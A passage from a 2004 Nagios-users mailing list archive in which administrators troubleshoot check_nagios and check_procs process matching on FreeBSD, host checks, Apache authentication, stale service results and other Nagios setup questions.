shared with us: > Well actually we also intend on storing only statusdata.. looks like > we'll have to do with a small query every minute and dump the data > into another table.. (which is a very bad idea) Is it advisable to > move to postgres (on solaris 8) and also is it possible for you to > share this trigger thingy? I believe the attached sql is all that is necessary. Just FYI, we only keep the data in postgres temporarily. Every 3 hours we move the data from servicestatus_history to SQL2000. I'm not sure how postgres would handle doing this for a large installation and maintaining the data permanently. You will of course need to come up with your own scripts to veiw and/or manipulate the data in servicestatus_history. Since we don't do anything with it directly from postgres I don't have anything to contribute along those lines. Also, as to whether it's advisable to move to postgres depends entirely on your ability to manage and maintain a postgres installation. I don't believe there is any significant difference as far as Nagios is concerned. -- Marc -------------- next part -------------- A non-text attachment was scrubbed... Name: nagiostrigger.sql Type: application/octet-stream Size: 4746 bytes Desc: nagiostrigger.sql URL: From jason+lists.nagios at lixfeld.ca Thu Mar 4 17:20:39 2004 From: jason+lists.nagios at lixfeld.ca (Jason Lixfeld) Date: Thu, 4 Mar 2004 11:20:39 -0500 Subject: check_nagios command not picking up nagios process In-Reply-To: <52869.63.227.74.41.1078408674.squirrel@webmail.stinkweasel.net> References: <742F4443-6DB0-11D8-930C-000A95989E4A@lixfeld.ca> <52869.63.227.74.41.1078408674.squirrel@webmail.stinkweasel.net> Message-ID: On Mar 4, 2004, at 8:57 AM, C. Bensend wrote: > >> Pulled the command out of the cgi.cfg and ran it manually after the >> web >> interface wasn't seeing the nagios process as running: >> >> su-2.05b# /usr/local/libexec/nagios/check_nagios -F >> /var/spool/nagios/status.log -e 5 -C '/usr/local/bin/nagios -d >> /usr/local/etc/nagios/nagios.cfg' >> Could not locate a running Nagios process! >> su-2.05b# ps xa|grep "/usr/local/bin/nagios -d >> /usr/local/etc/nagios/nagios.cfg" >> 8519 ?? Ss 0:00.10 /usr/local/bin/nagios -d >> /usr/local/etc/nagios/nagios.cfg >> 8950 p0 S+ 0:00.00 grep /usr/local/bin/nagios -d >> /usr/local/etc/nagios/nagios.cfg >> su-2.05b# file /var/spool/nagios/status.log >> /var/spool/nagios/status.log: ASCII text >> su-2.05b# > > This is something I've had to fiddle with on just about every Nagios > server > I've built so far. > > Try using a check command of: > > /usr/local/libexec/nagios/check_nagios -F /var/spool/nagios/status.log > -e > 5 -C 'nagios' > > That has worked for me before. That didn't work for me. It would appear that check_nagios (check_procs) is very picky about what it will match. It will match some commands, but it will not match the same command with a varied command line execution. Dumb. How can I fix this? su-2.05b# ps xa|grep nagios 8519 ?? Ss 0:02.62 /usr/local/bin/nagios -d /usr/local/etc/nagios/nagios.cfg 17485 p0 R+ 0:00.00 grep nagios su-2.05b# /usr/local/libexec/nagios/check_nagios -F /var/spool/nagios/status.log -e 5 -C "/usr/local/bin/nagios" Could not locate a running Nagios process! su-2.05b# ps xa|grep "/bin/sh" 17492 p0 S+ 0:00.00 grep /bin/sh 456 con- S 0:00.01 /bin/sh /usr/local/bin/mysqld_safe --user=mysql --datadir=/var/db/mysql --pid-file=/var/db/mysql/eshara.pid su-2.05b# /usr/local/libexec/nagios/check_nagios -F /var/spool/nagios/status.log -e 5 -C "/bin/sh" Nagios ok: located 1 process, status log updated 5 seconds ago su-2.05b# ps xa|grep "bash" 7853 p0 Ss 0:00.02 -bash (bash) 7878 p0 S 0:00.63 su (bash) 17539 p0 S+ 0:00.00 grep bash 7862 p1 Ss+ 0:00.04 -bash (bash) su-2.05b# /usr/local/libexec/nagios/check_nagios -F /var/spool/nagios/status.log -e 5 -C bash Nagios ok: located 1 process, status log updated 11 seconds ago su-2.05b# /usr/local/libexec/nagios/check_nagios -F /var/spool/nagios/status.log -e 5 -C "-bash" Could not locate a running Nagios process! su-2.05b# /usr/local/libexec/nagios/check_nagios -F /var/spool/nagios/status.log -e 5 -C "(bash)" Nagios ok: located 1 process, status log updated 5 seconds ago su-2.05b# /usr/local/libexec/nagios/check_nagios -F /var/spool/nagios/status.log -e 5 -C "su (bash)" Nagios ok: located 1 process, status log updated 12 seconds ago su-2.05b# su-2.05b# ps xa|grep "ntpd" 391 ?? Ss 0:06.73 /usr/sbin/ntpd -p /var/run/ntpd.pid -f /var/db/ntpd.drift 405 ?? S 0:01.39 /usr/sbin/ntpd -p /var/run/ntpd.pid -f /var/db/ntpd.drift 17566 p0 R+ 0:00.00 grep ntpd su-2.05b# /usr/local/libexec/nagios/check_nagios -F /var/spool/nagios/status.log -e 5 -C "/usr/local/bin/ntpd" Could not locate a running Nagios process! su-2.05b# /usr/local/libexec/nagios/check_nagios -F /var/spool/nagios/status.log -e 5 -C "/usr/sbin/ntpd" Could not locate a running Nagios process! su-2.05b# ps xa|grep "cron" 434 ?? Ss 0:01.55 /usr/sbin/cron 17571 p0 S+ 0:00.00 grep cron su-2.05b# /usr/local/libexec/nagios/check_nagios -F /var/spool/nagios/status.log -e 5 -C "/usr/sbin/cron" Could not locate a running Nagios process! su-2.05b# ps xa|grep smtp 17581 ?? S 0:00.01 smtpd -n smtp -t inet -u su-2.05b# /usr/local/libexec/nagios/check_nagios -F /var/spool/nagios/status.log -e 5 -C "smtpd" Could not locate a running Nagios process! su-2.05b# ps xa|grep pickup 16887 ?? S 0:00.01 pickup -l -t fifo -u 17608 p0 R+ 0:00.00 grep pickup su-2.05b# /usr/local/libexec/nagios/check_nagios -F /var/spool/nagios/status.log -e 5 -C "pickup" Could not locate a running Nagios process! su-2.05b# /usr/local/libexec/nagios/check_nagios -F /var/spool/nagios/status.log -e 5 -C "pickup -l -t fifo -u" Could not locate a running Nagios process! su-2.05b# > Benny > > > -- > "Have you ever tried simply turning off the TV, sitting down with your > children, and hitting them?" -- Bender, "Futurama" > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From fmartinezg at fecsa.es Thu Mar 4 18:31:20 2004 From: fmartinezg at fecsa.es (Martinez Gonzalez, Francisco) Date: Thu, 4 Mar 2004 18:31:20 +0100 Subject: Force check link from hosts.cfg Message-ID: Hello, I want to check the link status of a host every 5 minutes (with the check_ping plugin), but I don't want to add a service for it. It's that posible by defining "check-host-alive" in hosts.cfg? I've read the documentation and say that can't it, but there is anyway to do it? Thanks in advance Francisco Mart?nez Implantaciones e Infraestructura ENDESA Servicios Avda. Paral?lel, 51 entl., 08004 Barcelona Tel?fono: 93 5091605 Interno: 31 16 05 mailto: fmartinezg at fecsa.es ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Thu Mar 4 19:04:35 2004 From: marc at ena.com (Marc Powell) Date: Thu, 4 Mar 2004 12:04:35 -0600 Subject: Force check link from hosts.cfg Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A2FD@mismail2.ena.com> On Thursday, March 04, 2004 11:31 AM, Martinez Gonzalez, Francisco shared with us: > Hello, > > I want to check the link status of a host every 5 minutes (with the > check_ping plugin), but I don't want to add a service for it. It's > that posible by defining "check-host-alive" in hosts.cfg? > I've read the documentation and say that can't it, but there is > anyway to do it? Not really. Host checks are _never_ executed unless a service on that host fails. Then, they're only executed until the host recovers. Why are you not wanting to add it as a service? That's the correct way to do it. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rnelson at windchannel.com Thu Mar 4 19:16:38 2004 From: rnelson at windchannel.com (Robert Nelson) Date: Thu, 4 Mar 2004 13:16:38 -0500 Subject: Authentication question Message-ID: Okay, running into another problem. Using Apache2 with Nagios v1.2 on Red Hat 8.0. I have it set to do authentication (.htaccess as well as use_authentication=1), have my users created. If I use an invalid login, it locks me out. If I use a valid login, however, it only lets me log in as the "default" user. I.e. if the default user is "windchannel" and I log on as myself, "rob", it shows "Logged in as windchannel" I think this is an Apache error, not a Nagios error, but I'm stumped. I've checked the conf files from my old job, where authentication works fine, with the conf files on the new servers here. Anyone have a place I should start with? Thanks! Rob Nelson Network Engineer Windchannel Communications M: 919-538-6326 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From goodloff at kalg.net Thu Mar 4 19:48:05 2004 From: goodloff at kalg.net (Gary Goodloff) Date: Thu, 4 Mar 2004 12:48:05 -0600 Subject: check_mailq Message-ID: <012401c40219$3b467e10$24136044@desktop> ----- Original Message ----- From: Gary Goodloff To: nagios-users at lists.sourceforge.net Sent: Thursday, March 04, 2004 12:47 PM Subject: check_mailq I am trying to configure Nagios to monitor my qmail queue -- but I get a alarm of unknown in the monitor. That the plugin did not return anything. OR I get stderr = 28416 : Please help ! -Gary Goodloff -------------- next part -------------- An HTML attachment was scrubbed... URL: From benny at bennyvision.com Thu Mar 4 20:12:15 2004 From: benny at bennyvision.com (C. Bensend) Date: Thu, 4 Mar 2004 13:12:15 -0600 (CST) Subject: check_nagios command not picking up nagios process In-Reply-To: References: <742F4443-6DB0-11D8-930C-000A95989E4A@lixfeld.ca> <52869.63.227.74.41.1078408674.squirrel@webmail.stinkweasel.net> Message-ID: <4637.134.244.169.17.1078427557.squirrel@webmail.stinkweasel.net> > That didn't work for me. It would appear that check_nagios > (check_procs) is very picky about what it will match. It will match > some commands, but it will not match the same command with a varied > command line execution. Dumb. How can I fix this? > > su-2.05b# ps xa|grep nagios > 8519 ?? Ss 0:02.62 /usr/local/bin/nagios -d > /usr/local/etc/nagios/nagios.cfg > 17485 p0 R+ 0:00.00 grep nagios > su-2.05b# /usr/local/libexec/nagios/check_nagios -F > /var/spool/nagios/status.log -e 5 -C "/usr/local/bin/nagios" > Could not locate a running Nagios process! Um. Pardon me if this has already been answered, but is 'ps xa' the exact ps command check_nagios is using? I haven't followed this entire thread, so this might have been covered. Check your config.h for the _exact_ ps command it's using, and then try that from the command line. What's different about the output you're getting, and the output check_nagios is expecting? Benny -- "Have you ever tried simply turning off the TV, sitting down with your children, and hitting them?" -- Bender, "Futurama" ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jason+lists.nagios at lixfeld.ca Thu Mar 4 20:15:06 2004 From: jason+lists.nagios at lixfeld.ca (Jason Lixfeld) Date: Thu, 4 Mar 2004 14:15:06 -0500 Subject: check_procs really broken FreeBSD 5.2.1-RELEASE/AMD64 Message-ID: <3EEBD1B2-6E10-11D8-930C-000A95989E4A@lixfeld.ca> FreeBSD spam.kill.er 5.2.1-RELEASE FreeBSD 5.2.1-RELEASE #22: Wed Feb 25 16:23:46 EST 2004 jlixfeld at spam.kill.er:/usr/obj/usr/src/sys/ESHARA amd64 Anyone have any info on check_procs? it's really busted, either that or I'm completely misreading the documentation. Ethan? su-2.05b# /usr/local/libexec/nagios/check_procs -u nagios OK - 0 processes running with UID = 1005 (nagios) su-2.05b# ps -aux | grep ^nagios nagios 20138 0.0 0.5 10200 2408 ?? Ss 1:54PM 0:00.11 /usr/local/bin/nagios -d /usr/local/etc/nagios/nagios.cfg su-2.05b# /usr/local/libexec/nagios/check_procs -C nagios OK - 0 processes running with command name nagios su-2.05b# what's going on here? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From benny at bennyvision.com Thu Mar 4 20:25:31 2004 From: benny at bennyvision.com (C. Bensend) Date: Thu, 4 Mar 2004 13:25:31 -0600 (CST) Subject: check_nagios command not picking up nagios process In-Reply-To: <2C39019C-6E11-11D8-930C-000A95989E4A@lixfeld.ca> References: <742F4443-6DB0-11D8-930C-000A95989E4A@lixfeld.ca> <52869.63.227.74.41.1078408674.squirrel@webmail.stinkweasel.net> <4637.134.244.169.17.1078427557.squirrel@webmail.stinkweasel.net> <2C39019C-6E11-11D8-930C-000A95989E4A@lixfeld.ca> Message-ID: <4835.134.244.169.17.1078428353.squirrel@webmail.stinkweasel.net> > I can't find anything in config.h about the correct ps command or > syntax. What does 'grep PS_COMMAND *' return, when run in the plugins/ directory? Benny -- "Have you ever tried simply turning off the TV, sitting down with your children, and hitting them?" -- Bender, "Futurama" ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jason+lists.nagios at lixfeld.ca Thu Mar 4 20:21:44 2004 From: jason+lists.nagios at lixfeld.ca (Jason Lixfeld) Date: Thu, 4 Mar 2004 14:21:44 -0500 Subject: check_nagios command not picking up nagios process In-Reply-To: <4637.134.244.169.17.1078427557.squirrel@webmail.stinkweasel.net> References: <742F4443-6DB0-11D8-930C-000A95989E4A@lixfeld.ca> <52869.63.227.74.41.1078408674.squirrel@webmail.stinkweasel.net> <4637.134.244.169.17.1078427557.squirrel@webmail.stinkweasel.net> Message-ID: <2C39019C-6E11-11D8-930C-000A95989E4A@lixfeld.ca> On Mar 4, 2004, at 2:12 PM, C. Bensend wrote: > >> That didn't work for me. It would appear that check_nagios >> (check_procs) is very picky about what it will match. It will match >> some commands, but it will not match the same command with a varied >> command line execution. Dumb. How can I fix this? >> >> su-2.05b# ps xa|grep nagios >> 8519 ?? Ss 0:02.62 /usr/local/bin/nagios -d >> /usr/local/etc/nagios/nagios.cfg >> 17485 p0 R+ 0:00.00 grep nagios >> su-2.05b# /usr/local/libexec/nagios/check_nagios -F >> /var/spool/nagios/status.log -e 5 -C "/usr/local/bin/nagios" >> Could not locate a running Nagios process! > > Um. Pardon me if this has already been answered, but is 'ps xa' the > exact > ps command check_nagios is using? I haven't followed this entire > thread, > so this might have been covered. > > Check your config.h for the _exact_ ps command it's using, and then try > that from the command line. What's different about the output you're > getting, and the output check_nagios is expecting? I can't find anything in config.h about the correct ps command or syntax. > Benny > > > -- > "Have you ever tried simply turning off the TV, sitting down with your > children, and hitting them?" -- Bender, "Futurama" > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From cal.lidderdale at mci.com Thu Mar 4 20:26:39 2004 From: cal.lidderdale at mci.com (Cal Lidderdale) Date: Thu, 04 Mar 2004 12:26:39 -0700 Subject: Can't open pipe Message-ID: <404782EF.5080705@mci.com> Recompiled on a new machine (alpha) running from prompt: ( nagios -d nagios.cfg ) and the web looks fine. When I tell it to "Sche. an Imed. check" it trys to run, but ... ../var/status.log contains: [1078428014] HOST;npst;DOWN;1078427723;1078418138;0;10;7569;0;1078425372; 2;1;1;1;1;0;0.00;0;1;1;Cannot open pipe: (null) [1078428014]SERVICE;npst;PING;UNKNOWN;1/3;HARD;1078427723;1078428023; ACTIVE;1;1;1;1078418139;0;UNKNOWN;0;7568;0;0;0;0;1;0;0;1;0;0.00;0;1;1;1; Cannot open pipe: (null) the ... rw/nagios.cmd file is there permissions look good (accord2docs) and it gets timestamped current whenever I run a check. aaaaaalp, I missed something. Tks Cal ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jason+lists.nagios at lixfeld.ca Thu Mar 4 20:32:16 2004 From: jason+lists.nagios at lixfeld.ca (Jason Lixfeld) Date: Thu, 4 Mar 2004 14:32:16 -0500 Subject: check_nagios command not picking up nagios process In-Reply-To: <4835.134.244.169.17.1078428353.squirrel@webmail.stinkweasel.net> References: <742F4443-6DB0-11D8-930C-000A95989E4A@lixfeld.ca> <52869.63.227.74.41.1078408674.squirrel@webmail.stinkweasel.net> <4637.134.244.169.17.1078427557.squirrel@webmail.stinkweasel.net> <2C39019C-6E11-11D8-930C-000A95989E4A@lixfeld.ca> <4835.134.244.169.17.1078428353.squirrel@webmail.stinkweasel.net> Message-ID: On Mar 4, 2004, at 2:25 PM, C. Bensend wrote: > > What does 'grep PS_COMMAND *' return, when run in the plugins/ > directory? checking now. I didn't know FreeBSD ports had one port for nagios and one port for plugins. > Benny > > > -- > "Have you ever tried simply turning off the TV, sitting down with your > children, and hitting them?" -- Bender, "Futurama" > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jason+lists.nagios at lixfeld.ca Thu Mar 4 20:44:20 2004 From: jason+lists.nagios at lixfeld.ca (Jason Lixfeld) Date: Thu, 4 Mar 2004 14:44:20 -0500 Subject: check_nagios command not picking up nagios process In-Reply-To: <2C39019C-6E11-11D8-930C-000A95989E4A@lixfeld.ca> References: <742F4443-6DB0-11D8-930C-000A95989E4A@lixfeld.ca> <52869.63.227.74.41.1078408674.squirrel@webmail.stinkweasel.net> <4637.134.244.169.17.1078427557.squirrel@webmail.stinkweasel.net> <2C39019C-6E11-11D8-930C-000A95989E4A@lixfeld.ca> Message-ID: <544F02F6-6E14-11D8-930C-000A95989E4A@lixfeld.ca> I think I got it. It would appear the ps syntax is from linux, not bsd. ps -weo 'stat uid ppid comm args' won't show all processes on a bsd box. you need ps -axweo. ahhh, much better: su-2.05b# ./check_procs -C slapd OK - 1 processes running with command name slapd su-2.05b# ./check_procs -C nagios OK - 1 processes running with command name nagios su-2.05b# perhaps a modification to autoconf detecting platform and using command syntax changes based on platform would help. On Mar 4, 2004, at 2:21 PM, Jason Lixfeld wrote: > On Mar 4, 2004, at 2:12 PM, C. Bensend wrote: > >> >>> That didn't work for me. It would appear that check_nagios >>> (check_procs) is very picky about what it will match. It will match >>> some commands, but it will not match the same command with a varied >>> command line execution. Dumb. How can I fix this? >>> >>> su-2.05b# ps xa|grep nagios >>> 8519 ?? Ss 0:02.62 /usr/local/bin/nagios -d >>> /usr/local/etc/nagios/nagios.cfg >>> 17485 p0 R+ 0:00.00 grep nagios >>> su-2.05b# /usr/local/libexec/nagios/check_nagios -F >>> /var/spool/nagios/status.log -e 5 -C "/usr/local/bin/nagios" >>> Could not locate a running Nagios process! >> >> Um. Pardon me if this has already been answered, but is 'ps xa' the >> exact >> ps command check_nagios is using? I haven't followed this entire >> thread, >> so this might have been covered. >> >> Check your config.h for the _exact_ ps command it's using, and then >> try >> that from the command line. What's different about the output you're >> getting, and the output check_nagios is expecting? > > I can't find anything in config.h about the correct ps command or > syntax. > >> Benny >> >> >> -- >> "Have you ever tried simply turning off the TV, sitting down with your >> children, and hitting them?" -- Bender, "Futurama" >> >> >> ------------------------------------------------------- >> This SF.Net email is sponsored by: IBM Linux Tutorials >> Free Linux tutorial presented by Daniel Robbins, President and CEO of >> GenToo technologies. Learn everything from fundamentals to system >> administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click >> _______________________________________________ >> Nagios-users mailing list >> Nagios-users at lists.sourceforge.net >> https://lists.sourceforge.net/lists/listinfo/nagios-users >> ::: Please include Nagios version, plugin version (-v) and OS when >> reporting any issue. >> ::: Messages without supporting info will risk being sent to /dev/null > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk > being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jason+lists.nagios at lixfeld.ca Thu Mar 4 20:46:32 2004 From: jason+lists.nagios at lixfeld.ca (Jason Lixfeld) Date: Thu, 4 Mar 2004 14:46:32 -0500 Subject: SOLVED - check_procs really broken FreeBSD 5.2.1-RELEASE/AMD64 In-Reply-To: <3EEBD1B2-6E10-11D8-930C-000A95989E4A@lixfeld.ca> References: <3EEBD1B2-6E10-11D8-930C-000A95989E4A@lixfeld.ca> Message-ID: for FreeBSD, search the plugin source config.h for /bin/ps -weo and change to /bin/ps -axweo ; make clean ; make ; make install. fixed. Thanks to all who helped. On Mar 4, 2004, at 2:15 PM, Jason Lixfeld wrote: > FreeBSD spam.kill.er 5.2.1-RELEASE FreeBSD 5.2.1-RELEASE #22: Wed Feb > 25 16:23:46 EST 2004 > jlixfeld at spam.kill.er:/usr/obj/usr/src/sys/ESHARA amd64 > > Anyone have any info on check_procs? it's really busted, either that > or I'm completely misreading the documentation. Ethan? > > su-2.05b# /usr/local/libexec/nagios/check_procs -u nagios > OK - 0 processes running with UID = 1005 (nagios) > su-2.05b# ps -aux | grep ^nagios > nagios 20138 0.0 0.5 10200 2408 ?? Ss 1:54PM 0:00.11 > /usr/local/bin/nagios -d /usr/local/etc/nagios/nagios.cfg > su-2.05b# /usr/local/libexec/nagios/check_procs -C nagios > OK - 0 processes running with command name nagios > su-2.05b# > > what's going on here? > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk > being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From matthewwilson at dsl.pipex.com Thu Mar 4 21:03:32 2004 From: matthewwilson at dsl.pipex.com (Matthew Wilson) Date: Thu, 04 Mar 2004 20:03:32 +0000 Subject: Missed checks - stale data? Message-ID: <1078430612.1915.75.camel@localhost.localdomain> Dear List, I am having some problems with check scheduling. Specifically, nagios seems to be missing quite a few checks. I am monitoring about 60 hosts, each with a ping service (5 min frequency) and several with another custom service (which just requests a webpage from our satelite terminals' management interface - https - every 15mins). We use apan for all our services and there are clearly times when nagios is missing it's checks. This is mostly occuring with the ping services. I have examined the nagios log and I am seeing a lot of: Warning: The results of service 'PING' on host 'Kilchoan-627' are stale by 46 seconds I assume this means that there has been a delay of 46 seconds from when the check results were received to when they are processed by a service reaper event. I guess this is causing the missed checks we are seeing - if the check is not reported within 5 mins then rrdtool will log a NaN. In nagios.cfg I have: max_concurrent_checks=0 service_reaper_frequency=3 inter_check_delay_method=s The server is a PIII 500 and I am seeing loads of about 2-4. It has 384Mb of RAM and is swapping a bit. Any suggestions for sorting this out would be appreciate. I realise if we increase our monitoring by much I will need a higher spec server... but the load doesn't seem to indicate I'm purely running out of CPU time. cheers Matthew Wilson DC-Sat.net ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jason+lists.nagios at lixfeld.ca Thu Mar 4 21:55:58 2004 From: jason+lists.nagios at lixfeld.ca (Jason Lixfeld) Date: Thu, 4 Mar 2004 15:55:58 -0500 Subject: check_* -w and -c switches Message-ID: <56221198-6E1E-11D8-930C-000A95989E4A@lixfeld.ca> Ok, I'm trying to figure out the -w and -c switches for nagios in conjunction with the check_procs plugin. If I'm monitoring a single process that doesn't spawn, I can't figure out how to get nagios to understand that if it checks and finds 0 processes, that it's a bad thing. Here's an example: su-2.05b# /usr/local/libexec/nagios/check_procs -w 1 -c 1 -C fooproc OK - 0 processes running with command name fooproc su-2.05b# /usr/local/libexec/nagios/check_procs -w 1 -C fooproc OK - 0 processes running with command name fooproc su-2.05b# /usr/local/libexec/nagios/check_procs -c 1 -C fooproc OK - 0 processes running with command name fooproc su-2.05b# /usr/local/libexec/nagios/check_procs -w 0 -c 0 -C fooproc OK - 0 processes running with command name fooproc Even if I set it to a higher value, it still things that 0 is a good thing :( su-2.05b# /usr/local/libexec/nagios/check_procs -w 5 -c 10 -C fooproc OK - 0 processes running with command name fooproc su-2.05b# ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system 